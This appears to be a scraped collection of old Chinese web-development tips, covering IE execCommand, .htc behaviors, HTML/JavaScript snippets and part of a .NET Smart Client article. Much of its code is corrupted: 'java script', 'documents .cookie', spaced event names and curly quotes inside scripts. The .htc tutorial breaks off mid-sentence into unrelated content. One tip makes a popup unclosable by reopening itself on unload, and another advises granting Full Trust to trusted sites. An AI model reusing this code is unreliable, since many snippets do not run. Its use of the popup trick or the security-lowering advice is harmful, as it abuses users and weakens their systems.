document.execCommand("Copy","false",null);复制选中的文字到剪贴板;ie4.0

CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);设置指定锚点为书签;ie4.0
CreateLink;document.execCommand("CreateLink","false",sLinkURL);将选中文本变成超连接,若第二个参数为

true,会出现参数设置对话框;ie4.0
Cut;document.execCommand("Cut","false",null);剪贴选中的文字到剪贴板;ie4.0
Delete;document.execCommand("Delete","false",null);删除选中的文字;ie4.0
DirLTR;none;排版方式为从左到右?;不支持 DirRTL;none;排版方式为从右到左?;不支持
EditMode;none;设置编辑模式?;不支持
FontName;document.execCommand("FontName","false",sFontName);改变选中区域的字体;ie4.0
FontSize;document.execCommand("FontSize","false",sSize|iSize);改变选中区域的字体大小;ie4.0
ForeColor;document.execCommand("ForeColor","false",sColor);设置前景颜色;ie4.0
formatBlock;document.execCommand("formatBlock","false",sTagName);设置当前块的标签名;ie4.0

可以在TEXTAREA中实现在光标处用脚本来加入文本吗?

<form>
 <textarea cols="50"></textarea>
<br>
 <textarea cols="50"></textarea>
<br>
 <textarea cols="50"></textarea>
<br>
<input type=button values="paste" onclick=paste()>
<input type="reset" name="Reset" values="Reset">
<script language=java script>
var lastElement=null;
function BlurText()
{
 lastElement=event.srcElement;
}
for(var i in document.all)
{
 var Element=document.all;
 if(Element.tagName=="TEXTAREA")
//  if(Element.type=="text")
    Element.onblur=BlurText;
}
function paste()
{
 lastElement.focus();
 document.execCommand("paste");
}
</script>

</form>

什么是.htc?
作者:沈欣  出处:china.com
在微软IE 5.0版本的浏览器发布以前,网页编程中面对的最大挑战就是不能轻易地创建组件,以达到代码重用和多页

面共享的目的。这个问题一直困扰着DHTML(动态 HEML)的网页编程者。他们只能不断地重复书写HTML、CSS和java

script的代码,以满足多个页面上的重复或相似的功能。自IE 5.0浏览器发布后,这种情况得到了改善,它带给我们

一个新的指令组合方法,可把实现特定功能的代码封装在一个组件内,从而实现多页面的代码重用,使网页编程进入

一个全新的天地。这个新的技术就是我们要谈到的DHTML中的“行为”(Behaviors)。
  “行为”作为一个简单易用的组件,它封装了页面上特定的功能或动作。当把一个“行为”附到WEB页面中的一

个元件上时,这个元件的原有行为就会有所改变。因此,网页编程者可以开发通用的DHTML指令,并改变原有对象的

一些属性,用“行为”来增强一个对象的功能,同时也简化了页面的HTML代码。而且“行为”的创建和使用也非常简

单方便,所需的知识也只是原来已经习惯使用的CSS样式表、HTML指令和java script脚本语言。只要你对此有所了解

,有过实际编程的经历,学习并掌握“行为”的使用完全没有问题。我们将以一个改变字体效果的“行为”组件为例

来说明如何编写和使用一个“行为”,并体验“行为”给页面编辑带来的优点和方便之处。

  首先新建一个名为font_efftce.htc的文本文件,组成“行为”组件的文件都是以.htc为扩展名,这个文件中的

内容就是我们对这个“行为”的描述。它的创建和使用步骤如下:
(1)首先给这个“行为”增加几个事件响应,语句书写格式如下:
< PUBLIC:ATTACH EVENT="on mouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="on mouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="on mousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="on mouseup" ONEVENT="font2blue()" / >
  “EVENT”对应所需事件名,在这里分别为:on mouseover,on mouseout,on mousedown,on mouseup四个事件名

,你当然可以再增加其它的事件名来满足你的特定需求。“ONEVENT”对应着个自的事件句柄,即事件触发时所调用

的函数名称。glowit()函数使字体周围产生一个红色的辉光。noglow()函数是消除字体的辉光效果。Font2yellow()

函数是把字体颜色改为黄色。Font2blue()函数是把字体颜色改为蓝色。四个事件的定义都是相似的。
(2)接下来,再给这个“行为”增加二个“方法”定义,内容如下。
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
  “NAME”参数对应的是给定的“方法”名称。move_down和move_right分别是向下和向右移动的“方法”对应的

函数名称。注意,在方法名的后面不要带“( )”括号,即不要写成“move_down()”这个样子,这在“方法”定义的

语法上是不允许的。

(3)接下来的工作就是在我们熟悉的DHTML环境下,用java script脚本语句编写“事件句柄”和“方法”所对应的

函数内容,实现预期的效果。具体内容参考下面的源程序。其中的“element”参数指的是这个“行为”所附着的对

象,因为“行为”总是被附着到页面的元件上面,并通过这个元件发挥作用。其它语句都是DHTML的编程内容,就不

再多说了。如有不明之处,可参考微软的MSDN开发文档中有关IE浏览器的内容,上面有详细的DHTML编程参考内容、

属性和方法使用说明等,并包含了大量的文章和举例程序。经常访问微软的MSDN文档,尤其对于初学者来说是一个良

好的学习习惯,你几乎可以得到任何你想找的答案,它的网址为:http://msdn.microsoft.com/ie/
  完整的“行为”文档“font_effect.htc”的内容如下:
////////////////////////////“行为”文档开始///////////////////////////////////
//给“行为”增加四个鼠标事件
< PUBLIC:ATTACH EVENT="on mouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="on mouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="on mousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="on mouseup" ONEVENT="font2blue()" / >
//给“行为”定义二个方法
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
< SCRIPT LANGUAGE="JScript" >
//定义一个保存字体颜色的变量
var font_color;
//定义向下移动文字的方法
function move_down()
{
element.style.posTop+=2;
}
//定义向右移动文字的方法
function move_right()
{
element.style.posLeft +=6;
}
//定义鼠标on mouseup事件的调用函数
function font2blue(){
if (event.srcElement == element)
{
element.style.color=’blue’;
}
}
//定义鼠标on mousedown事件的调用函数
function font2yellow(){
if (event.srcElement == element)
{
element.style.color=’yellow’;
}
}

//定义鼠标on mouseover事件的调用函数
function glowit()
{
if (event.srcElement == element)
{
font_color=style.color;
element.style.color=’white’;
element.style.filter="glow(color=red,strength=2)";
}
}

//定义鼠标on mouseout事件的调用函数
function noglow()
{
if (event.srcElement == element)
{
element.style.filter="";
element.style.color=font_color;
}
}
< /SCRIPT >
//////////////////“行为”文档结束///////////////////////////////

(4)如何在一个页面上使用“行为”
  在页面上使用“行为”组件,并不需要学习新的知识。所需的知识的也不过是CSS样式表和HTML的设置而已,请

看下面的语句。
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
  可以看出,这和以前我们已经熟知的样式表设置完全相同。上面的语句定义了一个样式名:“myfilter”,其中

对我们来说比较新的内容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行为”属性名,这就

是“行为”在样式表中的设置方式。括号中的内容是“行为”文档的文件名,本例中表明“行为”文档在与页面文件

在同一个目录下,如果“行为”文档安置在其它目录下,在此参数的前面要加上相应的路径名,以保证可以正确地定

位“行为”文档的位置。此“样式”中的其它内容就是普通的样式属性设置,可根据你的需要增减,但在此例中,由

于使用了“glow”滤镜效果,至少要设置一个宽度(width)属性。通过以上的样式指定,我们就有了一个名为:

“myfilter”的样式,它附带一个有字体变化效果的“行为”。如果你想要在一个页面元件上使用这个附带“行为”

的样式,同样也很简单,只要把这个“样式名”安置在元件的属性设置区域即可,见下面的语句。
< span id="myspan" class=’myfilter’ >行为产生的文字效果< /span >< br >
< span class=’myfilter’ >鼠标指向后产生辉光< /span >
  以上语句里面没有什么新的内容,class=’myfilter’就是我们所熟悉的样式设置。在第一个“span”标记的属性

中还定义了一个“id”标记,稍后就会看到,这是用来演示调用“行为”内的“方法”而设置的。这样设置后,

“span”元件中的内容就可以显示出“行为”组件内的预定效果:
1. 鼠标指针移动到文字内容上时,在文字周围产生红色的辉光效果,同时文字变成白色。
2. 当鼠标按钮按下时,文字颜色改变为黄色。
3. 鼠标按钮抬起后,文字颜色又改变为蓝色。
4. 当鼠标指针移动到文字区域以外时,去掉了红色辉光效果,文字恢复原样。
  另外,我们在定义“行为”时设置了二个“方法”,“move_down”和“move_right”。为调用这二个“方法”

,定义了二个按钮:
< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移动第一行文字< /button >
  用按钮的onclick事件去调用这二个“方法”,先前定义的“id”标记就作为元件的对象名称,用

“myspan.move_down”来调用“方法”,操纵这个对象。可以看到,在按下相应的按钮后,会使第一行的文字产生向

下或向右的移动。虽然只是用第一行文字做了示范,实际上,只要做相应的设置,你也可以移动其它对象。页面源文

档的完整内内容如下:
< html >
< HEAD >
< TITLE >行为效果演示< /TITLE >
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
< /HEAD >
< BODY >
< span id="myspan" class=’myfilter’ >行为产生的文字效果< /span >< br >
< span class=’myfilter’ >鼠标指向后产生辉光< /span >< br >
< span class=’myfilter’ >同时文字变白< /span >< br >
< span class=’myfilter’ >按下鼠标后文字变黄< /span >< br >
< span class=’myfilter’ >抬起鼠标后文字变蓝< /span >< br >
< span class=’myfilter’ >鼠标离开后文字恢复原状< /span >< br >
< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移动第一行文字< /button >
< /BODY >
< /html >
  通过以上的简单介绍,可以看出,我们很容易地在一个“行为”中同时组合了多种文字变化效果,通过简单的“

样式”设置,任意地将它与页面元件相关连,体现了“行为”组件的优点和强大功能。一个“行为”组件,不仅能在

一个页面内重复使用,也可供同一站点上的所有页面使用。试想一下,如果不使用“行为”来完成上述的效果,虽然

 

 
如何把页面加入用户的收藏夹?

 HTML 代码片段如下:
<a href="<B style="color:black;background-color:#A0FFFF">javascript</B>:window.external.AddFavorite

(‘http://www.51js.com’,'无忧脚本’)">收藏无忧脚本</a>

在html中导入xml数据的方法?
说明:
1.用xml标签
(1)直接放数据
<XML ID="oMetaData">
<METADATA>
<AUTHOR>John Smith</AUTHOR>
<GENERATOR>Visual Notepad</GENERATOR>
<PAGETYPE>Reference</PAGETYPE>
<ABSTRACT>Specifies a data island</ABSTRACT>
</METADATA>
</XML>
(2)用外部数据
<XML ID=oXML SRC="oXML.XML"></XML>
2.用object
<OBJECT ID=oXML CLASSID="clsid:550dda30-0541-11d2-9ca9-0060b0ec3d39"></OBJECT>
3.两种方法的比较
用xml标签的话只能访问本站点xml文件,而object方法可以访问任何站点里的资源.
4.XML的方法:
addBehavior(sURL)
componentFromPoint((iCoordX, iCoordY);返回client窗口中相应坐标的组件名
fireEvent(sEvent [, oEventObject]);激活某个对象的某个事件
getAttributeNode(sName);返回结点属性名为sName的属性
namedRecordset(sQualifier [, sSubChapter]);返回一个记录集合
normalize();
removeAttributeNode(oSrcAttribute);
removeBehavior(iID)

下面是一个利用Object导入xml数据的例子: 

 HTML 代码片段如下:
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<!–一个如何把<B style="color:black;background-color:#99ff99">XML</B>显示在表格中的HTML文件

cd_list.htm –>
<HEAD>

<SCRIPT FOR="window" EVENT="onload">
xmldso_list.XMLDocument.load("http://westfly.myrice.com/other/<B style="color:black;background-

color:#99ff99">xml</B>/demo/cd_catalog.<B style="color:black;background-color:#99ff99">xml</B>")
</SCRIPT>

<TITLE>CD List</TITLE>
</HEAD>

<BODY>
<OBJECT WIDTH="0" HEIGHT="0"
CLASSID="clsid:550dda30-0541-11d2-9ca9-0060b0ec3d39" ID="xmldso_list">
</OBJECT>

<TABLE DATASRC=#xmldso_list BORDER="1" CELLSPACING="5" CELLPADDING="2">
<THEAD>
<TH>Title</TH><TH>Artist</TH><TH>Country</TH><TH>Company</TH><TH>Price</TH><TH>Year</TH>
</THEAD>

<TR ALIGN="center">
<TD><DIV DATAFLD="TITLE"></TD>
<TD><DIV DATAFLD="ARTIST"></TD>
<TD><DIV DATAFLD="COUNTRY"></TD>
<TD><DIV DATAFLD="COMPANY"></TD>
<TD><DIV DATAFLD="PRICE"></TD>
<TD><DIV DATAFLD="YEAR"></TD>
</TR>

</TABLE>
</BODY>
</HTML>

能不能把表格的背景色设成半透明?

 HTML 代码片段如下:
<body background="http://www.51js.com/logo.gif">
<style>
.alpha1{filter: Alpha(Opacity=60)}
</style>
<div style="position:absolute; z-index:1">
<table width="120" border="1" height="120" class="alpha1" bgcolor="#78ACFF" frame="border">
 <tr>
  <td>
   <div style="position:absolute; width:110px; height:110px; left: 5px; top: 5px">test</div>
  </td>
 </tr>
</table>
</div>

如何在我的页面中加入背景音乐?
IE: <bgsound src="*.mid" loop=infinite>
NS:<embed src="*.mid" autostart=true hidden=true loop=true>

*.mid你的背景音乐的midi格式文件

滚动条颜色
<STYLE>
BODY {
scrollbar3dLightColor: #ff0000; /*滚动条亮边的颜色
scrollbarArrowColor: #ff0000; /*上下按钮上三角箭头的颜色
scrollbarBaseColor: #ff0000; /*滚动条的基本颜色
scrollbarDarkShadowColor: #ff0000; /*滚动条强阴影的颜色
scrollbarFaceColor: #ff0000; /*滚动条凸出部分的颜色
scrollbarHighlightColor: #ff0000; /*滚动条空白部分的颜色
scrollbarShadowColor: #ff0000; /*立体滚动条阴影的颜色
scrollbarTrackColor: #ff0000 /*滚动条的背景颜色
}
</STYLE>
说明:1、必须是ie5.5+
2、当页面内容超出屏幕出现移动条时,设置的箭头颜色才有效
3、母页的设置对iframe窗口的滚动条颜色无效,但是对textarea文本筐的滚动条有效

关于textarea
没有滚动条:style="overflow: hidden;"
=——————————-
wrap=off/ virtual/ phisical
off:不会自动转行
virtual:自动转行,但提交时不包括自动转行产生的转行符
phisical:自动转行,提交时包括自动转行产生的转行符

关于open
open(url,name,features),其中features可以是
——————————————————————————————–
toolbar: 工具条
location: 地址栏
directories: 目录图标
status:状态栏
menubar: 菜单栏
scrollbars:滚动条
resizeable: 在边上可以调整窗口大小
helpIcon:有无帮助图标
minmize:有无小图标
maxnimize:有无大图标
systemMenu:边框图标中系统菜单是否有效
以上取值均为yes/no/1/0
—————————————————————————
edgwStyle:(raised/sunken)窗口边界样式
borderSize:(thick/thin)窗口边筐尺寸
—————————————————————————
定义字体
font-size:
font-weight:
font-style:
—————————————————————————-
定义窗口大小与位置
width:
height:
top:相对于桌面窗口顶部位置px
left:相对于桌面窗口左边位置px
center:(yes/no/1/0)在中心

让弹出窗口只打开一次
<script>
function openwin(){
window.open("page.html","","width=200,height=200")
}
function get_cookie(Name) {
var search = Name + "="
var returnvalues = "";
if (documents .cookie.length > 0) {
offset = documents .cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = documents .cookie.indexOf(";", offset);
if (end == -1)
end = documents .cookie.length;
returnvalues=unescape(documents .cookie.substring(offset, end))
}
}
return returnvalues;
}
function loadpopup(){
if (get_cookie(‘popped’)==”){
openwin()
documents .cookie="popped=yes"
}
}
</script>
<body onload="loadpopup()">


怎样让表单没有凹凸感

 HTML 代码片段如下:
<input type=text style="border:1 solid #000000">

<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom: 1 solid

#000000"></textarea>


<div><span>&<layer>的区别
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>

关于页面转换效果
<meta http-equiv="page-enter" content="revealTrans(Duration=4,Transition=23)">

<meta http-equiv="page-exit" content="revealTrans(Duration=4,Transition=23)">

说明:Transition=23是随机效果,另可以选0-22任一数字固定某个效果

怎样预下载图片?
<script language=java script>
var imageArray=new Array()
imageArray[0]=new Image(100,100)
imageArray[0].src=logo.gif
imageArray[1]=new Image(100,100)
imageArray[1].src=logo2.gif
imageArray[2]=new Image(100,100)
imageArray[2].src=logo3.gif
</script>

——————————————————————————–

– 作者: 碧云
– 发布时间: 2001/11/13 04:32pm

如何设定打开页面的大小

 HTML 代码片段如下:
<body onload="top.resizeTo(300,200);"><!–(width,height)–>

怎样双击滚屏,单击停止?

 HTML 代码片段如下:
<html>
<head>
<title>新網頁1</title>
</head>
<body>
<script language"<B style="color:black;background-color:#A0FFFF">javascript</B>">
var currentpos,timer;
function initialize()
{
timer=setInterval("scrollwindow()",10);
}
function sc(){
clearInterval(timer);
}
function scrollwindow()
{
currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();
}
document.onmousedown=sc
document.ondblclick=initialize
</script>
<p>a</p><p>a</p><p>a</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa<

/p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>aa</p><p>a</p>
</body>
</html>


如何让body中的文字不被选中?

 HTML 代码片段如下:
<body onselectstart="return false" >aaa</body>

绝对定位的负数是怎么会事?
绝对定位(position:absolute):以屏幕左上角(left:0,top:0)为原点,向右、下为正方向放置元素,left、top若为

负数,元素将有部分或全部在屏幕外而看不到,若为正数向右、下超出屏幕,窗口会出现滚动条来显示它。绝对定位

对正常排序的其他元素没有影响。

相对定位(position:relative):以此元素本该出现的位置为原点,向右、下为正方向放置元素,left、top(不论正

负)设置的数超出屏幕所能显示时,元素将有部分或全部在屏幕外而看不到,也不会出现滚动条。相对定位在页面占

有空间,不管相对定位的元素是否在原位,接下来的元素会在前面给相对定位的元素留出空间.就像相对定位的元素在

那个地方一样.
(个人见解,还望大家指正:)

 HTML 代码片段如下:
<html>
<head>
<title>无标题文档</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style tyle=text/css>
div{font-size:20px;color:green;background-color:yellow}
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
 
 <table width="75%" border="1" align="center">
  <tr>
   <td width=50% height="127"><img src=logo.gif>元素正常位置</td>
   <td width=50% height="127"><img src=logo.gif style="position:relative;top:-40;left:900">R1(900

,-40)图片超出屏幕右端,但不出现滚动条(前面留出了空位)</td>
  </tr>
  <tr>
   <td height="120"><img src=logo.gif style="position:relative;top:-40;left:30">R2(30,-40)图片相

对出现偏移。</div></td>
   <td height="120"><img src=logo.gif style="position:relative;top:888;left:30">R3(30,888)图片超

出屏幕下端,但不出现滚动条</td>
  </tr>
 </table>
<div style="position:absolute;top:-40;left:220">A1(220,-40)</div><!–A1在屏幕上将看不到–>
<div style="position:absolute;top:0;left:0">A2(0,0)</div>
<div style="position:absolute;top:12;left:777">A3(12,777)</div><!–A3超出屏幕,出现滚动条(屏幕右)–>
<div style="position:absolute;top:-9;left:220">A4(220,-9)</div><!–A4有9像素在屏幕看不到(屏幕顶上)-

->
<div style="position:absolute;top:300;left:-14">A5(-14,300)</div><!–A5有14像素在屏幕看不到(屏幕左)

–>
<div style="position:absolute;top:650;left:220">A6(220,650)</div><!–A6超出屏幕,出现滚动条(屏幕下端

)–>
</body>
</html>


如何让弹出的窗口不能关闭?
在新开的窗口中加入如下代码

<body onunload=open(location.href)>
</body>


如何控制href,img等支持title属性的控制其title的显示格式?
请参考如下代码 

 HTML 代码片段如下:
<html>
<head>
<title>图片提示文字</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<a href="#"><img src="http://www.51js.com/logo.gif" alt="《杀手无罪》

类型:电影

产地:美国

片长:单本剧

主演:妮芙·坎贝尔 唐纳德·萨瑟兰 威廉·梅西 约翰·瑞特尔 特蕾茜·乌尔曼" width="88" height="30"

border="0"></a>
</body>
</html>

标签fieldset的使用例子
<fieldset></fieldset> // 外表
<legend>XXX </legend> //外表標題
<TABLE>…..</TABLE> //表格

 HTML 代码片段如下:
 
<fieldset style="width:220" align="center"> <legend> 表中表效果Ⅱ </legend>
<table frame=hsides border="1" bordercolorlight="#000000" bordercolordark="#ffffff" width="100%"

cellspacing="1" cellpadding="0" height="78" >
<tr bgcolor="#ffffff">
<td width="100%" height="76">
<p align="center"><font color="#000000">表格教程 SERRON</font><p>
<td>
</tr>
</table>
</fieldset> 

如何让浏览器在保存页面时保存失败?

 HTML 代码片段如下:
<NOSCRIPT>
<<B style="color:black;background-color:#ffff66">IFRAME</B> SRC="*.html">
</<B style="color:black;background-color:#ffff66">IFRAME</B>>
</NOSCRIPT>

一个页面内所有复选框的全选功能如何实现?

 HTML 代码片段如下:
<input type=checkbox><input type=checkbox>
<input type=checkbox><input type=checkbox>
<button onclick=SelectAll()>SelectAll</button>
<script>
function SelectAll()
{
 var cInput=document.all.tags(‘INPUT’);
 for(var i in cInput)
  if(cInput[i].type==’checkbox’)cInput[i].checked=true;
}
</script>

来源:CSDN  作者:lornshrimp

一、      Smart Client是什么

简而言之,Smart Client智能客户端就是这样一种一个可扩展的能集成不同应用的桌面应用程序:它可以无接触部署、即需即装、动态加载,XCopy即可运行而无须修改注册表,可以动态升级、自动更新,可以方便的经Web运行而不用担心防火墙问题并可以方便的离线运用,方便的连接WebServicesWindows应用程序

二、      Smart Client的特点

1.      动态加载,即需即装

应用程序的各个构件之间的相互调用并不采用直接引用的方式,而是采用动态加载,即需即装的方式,有效地降低了对系统资源的消耗。应用软件开发商可根据企业应用系统的公共接口进行开发,然后将应用组件发布在企业的服务器上,客户端应用程序将自动发现并加载该应用组件。

2.      更松散的耦合

由于上面第一点所言构件之间的相互调用并不采用直接引用方式,这样系统实现的更松散的耦合,为应用程序升级更新提供了方便。

3.      进一步的模块化

由于应用程序的松散耦合特性,使得系统的进一步模块化成为了可能,新功能、新特性的加入只需要开发出符合接口定义的新模块并添加连接即可。而无须修改重编译现有的程序。

4.      零接触部署

安装时只要将一个主程序文件下载到本地,直接运行即可,无须改变注册表或共享的系统组件,其他应用组件将在第一次运行时自动下载。

5.      网络加载应用程序组件

Smart Client的应用程序可以很方便的从网络服务器加载应用程序,而且因为程序及加载是从80端口实现,故无须考虑防火墙问题,这样为企业系统的集中管理提供了方便。

6.      自动更新

只需将新版本的程序发布在服务器上,由客户端自动发现最新版本的程序和应用组件,并自动下载和更新。

7.      在线与离线均可使用的应用程序

Smart Client应用程序尽管使用网络加载程序集,但一旦加载之后,程序集便被缓存到了本地。当用户至少启动了一次应用程序后,其装配就被下载和缓存到本地内存中了,所以用户就可以离线运行你的智能客户端了(通过转换浏览器到离线工作状态),假设应用程序不需要永久访问Web services或一个共享的数据库就可以运行。

构建智能客户端的最大的好处就是可以离线使用。尽管业务之间的联系越来越紧密,但我们仍不能给企业应用程序提供始终连续的连接。离线式工作方式可以在你重新在线时,自动接收数据和应用程序更新,这种特征是人们很想得到的,但在.NET前,这是很难实现的。同胖客户端一样,智能客户端给客户端分布大量的处理,这就为服务器免除了它在一个基于Web的应用程序中需要承担的负荷。最后,智能客户端采取一种用户希望应用程序采取的工作方式——允许快速数据存取和管理,而不需要不必要的屏幕更新。

8.      个性化用户界面

用户可根据喜好自行设置客户端应用程序,配置信息将被保存到服务器上。

9.      WebServices的完美集成

Smart Client应用程序可以与WebServices方便的集成应用,这样便可以轻松享受C/S应用程序的完美用户体验而不需担心防火墙等等的一系列问题。

三、      Smart Client的优势

尽管有大量的广告,但瘦Web解决方案并没必要成为所有企业应用程序的未来。不要丢弃用WinForms来构建企业应用程序这种想法,因为企业应用需要集中的分布。下面的这张表格描述了Smart Client和瘦Web解决房按之间的对比:

功能

智能客户端

Web应用程序

可以离线工作

可以

不容易

集中的部署

可以

可以

高级的GUI特征

高性能的GUI

可以

不可以

卸载处理到客户端

可以

有限

通过HTTP更新

可以

可以

安全

不接触客户端安装

不是;需要构建用来改变.NET的安全配置的一个加载应用程序(除非你用的是Microsoft Transaction ServerCitrix,但是那样的话,应用程序就只能在线使用)

大部分时间只传输数据

不是;结合内容的传输,.NET控件显示在IE

客户端需要.NET Framework

不是

平台和客户端是独立的

不是

适合电子商务或Internet应用程序

不是;最适合企业内部应用程序

充分利用客户端丰富的资源

可以

不能

1 比较两者

通过将智能客户端的功能和Web应用程序的功能进行比较,可以简化你的决策过程。

四、      Smart Client的工作模型



1. 智能客户端的工作模型

应用程序加载器用HTTPWeb服务器上的一个虚拟目录来访问和下载装配。下载后,装配被缓存起来,只有需要的时候才执行它们。

五、      Smart Client的运行方式

1.      引导程序的运行方式

a)      本地运行

这种运行方式看起来感觉像是一个本地的应用程序,它的好处是可以帮助你控制安装目录和相关图标的创建,并可以提供简洁的卸载。坏处是您需要制作一个MSI安装文件并在客户机上Setup

b)     网络运行

只是一种完全的网络运行方式,运行起来和你上网打开网页差不多——在浏览器地址栏里输入一个URL或者在网页上点击相应的连接。这种运行方式的好处是实现了真正的零接触部署,您不需要再客户机上安装任何东西,当然坏处也是显而易见的:它的URL路径经常可能会被诸如FlashGet之类的软件拦截而变成了下载而不是直接运行。

2.      组件的加载方式

a)      直接从网络加载

一种组件的加载方式是使用.NET框架的程序集加载器直接从网络加载,这种方式的一个好处就是简单,并且能够实现全自动的程序集更新,见如下一段代码:

using System.Reflection;


         //网络运行方式,加载的程序集路径为服务器上的url地址


         assemblyFileName = "http://SmartClient/AppComponent1.dll";


Assembly asm = Assembly.LoadFrom(assemblyFileName);


寥寥数句便实现了程序集的网络加载其关键的一句就是Assembly.LoadFrom(assemblyFileName)

当然这种方式虽然简单但也有其坏处,那就是这种方式非常地依赖于浏览器的缓存机制,一旦缓存被清空,程序便无法再离线工作,这是一个很麻烦的问题。

b)     先下载到本地然后从本地加载

动态加载组件的另外一种方式就是先将程序集下载到本地文件夹中然后再从本地加载运行,这种方式不依赖于浏览器缓存,也就是说应用程序组件只要在运行一次之后(如果是设定为组件需要时从网络下载的话),即使离线并清空了缓存,应用程序仍然能够正常运行。其缺点是:不能自动将程序集从网络下载到本地,需要用到Windows Background Intelligent Transfer Service,不能全自动的更新程序集,需要手动编写程序集加载器,这个东东可以使用MicrosoftUpdaterApplicationBlock,并提供了全部的源代码。

3.      组件的呈现方式

这里谈到的组件当然是指界面组件,如果不涉及到用户界面,当然也就谈不上什么呈现方式了。

a)      组件加载后隐藏引导程序

作为一种很常见的组件呈现方式,程序集作为窗体来实例化,然后使用Form.Show()方法呈现,而将引导窗体以Form.Hide()方式隐藏。

b)     组件作为承载平台的子窗体

而在将组件作为子窗体的呈现方式中,是将承载平台设计为MDI窗体,然后将装载的组件的ParentForm属性设置为承载平台来显示。

c)      组件作为承载平台的控件

在这种方式中,组件不以窗体的方式来实例化,而是以用户控件的方式实例化,然后将其动态添加到承载窗体的某一个托盘中(通常是Panel)。

六、      Smart Client的安全性问题

1.      客户端的代码访问安全(CAS

说到Web方式直接运行,就不能不谈到代码访问安全性(Code Access Security)问题,如果一个黑客能够说服或者诱使你下载一段代码,而你在很高的权限账户下运行它,那操作系统就对各种危害门户打开。这种情形就是导致著名的宣言在最小权限下运行的原因,每个人都应该注意这一点。

但是,.NET Framework提供了比这种单纯的基于身份的安全性更高级的功能。由CLR强制执行的CAS机制允许为代码(实际上是assembliy.NET Framework中调度和保护的单位)指定基于属性的不同的可信度等级,例如数字证书或源站点或URL。在这种方式下,.NET Framework只允许已知的或受信的源代码执行。

为了让你的智能应用程序运转,你需要改变一些客户端的安全设置——实质上就是通知客户端运行时间相信你的应用程序的装配。一种方法就是将带有你的装配的站点添加到IE中可信任站点清单中,然后用安装在你的管理工具目录下的Microsoft .NET Framework Configuration工具来修改.NET Framework安全设置。打开Framework Configuration工具,右击Runtime Security Policy,然后选择Adjust Security。对于Trusted Sites中指定的所有站点,将信任级别调整到Full Trust。作为选择,你也可以用Framework Configuaration工具来修改安全策略,使它信任你的应用程序的个别装配。右击Runtime Security Policy,选择Trust Assembly

2.      服务器端的身份验证

这里的服务器端的身份验证,实际上就是WebServices的身份验证,虽然说从理论上Forms身份验证也是可行的,但是WebServices既然是一个A2A(Application To Application)的应用程序,那么还是尽量不要用这用更适合于人机交互的身份验证方式为好。

a)      Windows身份验证

使用用户的Windows帐号如域帐号进行身份验证。

b)     .Net Passport身份验证

使用与用户相关联的.NET Passport帐号进行身份验证。

c)      自定义身份验证

使用Soap来给Web服务传递账户信息是一个相对使用URL传递装户信息而言比较安全的方式,同时不必为每一个WebMethod传递证书(作为参数的一部份),如果仍然觉得不够安全则可以对Soap头进行加密,或者干脆使用Soap传递安全证书,这里只介绍使用Soap不加密传递用户名和密码进行身份验证的方式当一个服务请求发送到服务端,请求会被WebServiceAuthenticationModule截获,WebServiceAuthenticationModule就开始分析该请求的Soap头,从中解析出客户端发送的用户名和密码,并进行身份验证。如果身份验证通过,WebServiceAuthenticationModule便会给用户签发身份验证票;如果身份验证失败,WebServiceAuthenticationModule便会抛出一个消息为”Access Deny!”SOAPException,随后服务端和客户端均可截获该异常并进行处理。

七、      Smart Client的开发原则

1.      服务器端(WebServices)的开发原则

a)      身份验证:Soap头方式

首先生成一个自定义的http模块(这里用我做的WebServiceAuthenticationModule),并在Webconfig中注册; Web服务类中添加一个WebServiceAuthenticationModule定义的SOAPAuthHeader字段类型,并将SOAPAuthHeader属性应用于我们的Web服务方法中,然后使用赋给这个字段类型的名称sHeader定义这个属性的构造函数; 对于客户端来说,每一次将请求发送到WebServices都需要填充Soap头,在WebServices定义了Soap头之后,客户端的代理类也会生成相应的类代理,使用时,首先创建一个服务的对象实例代表我们的Web服务,然后创建一个Soap头对象实例,并填充Soap头,接下来将Soap头与该代理程序相关联,以便使用我们的Web服务。

b)     粗粒度,较少的接口

开发WebServices应做到:粗粒度、较少的接口,从而交付与网络请求的延迟成本相称的价值。

c)      每一个.asmx文件公开较少而独立的功能,较少的数据集

这样做的目的是为了尽量减小客户端组件的大小,使用WebServices的应用程序时要生成代理类的,如果一个.asmx文件公开太多的功能和太多的程序集,势必会使客户端组件过于臃肿,而实际上它用到的可能只是其中一小部分代码而已。一般而言,一个完整的功能主要的可能只有一两张数据库表,其他的只是辅助而已。这种情况下,主表使用数据集,而辅助表甚至只需要使用数组即可。

d)     数据描述的自满足

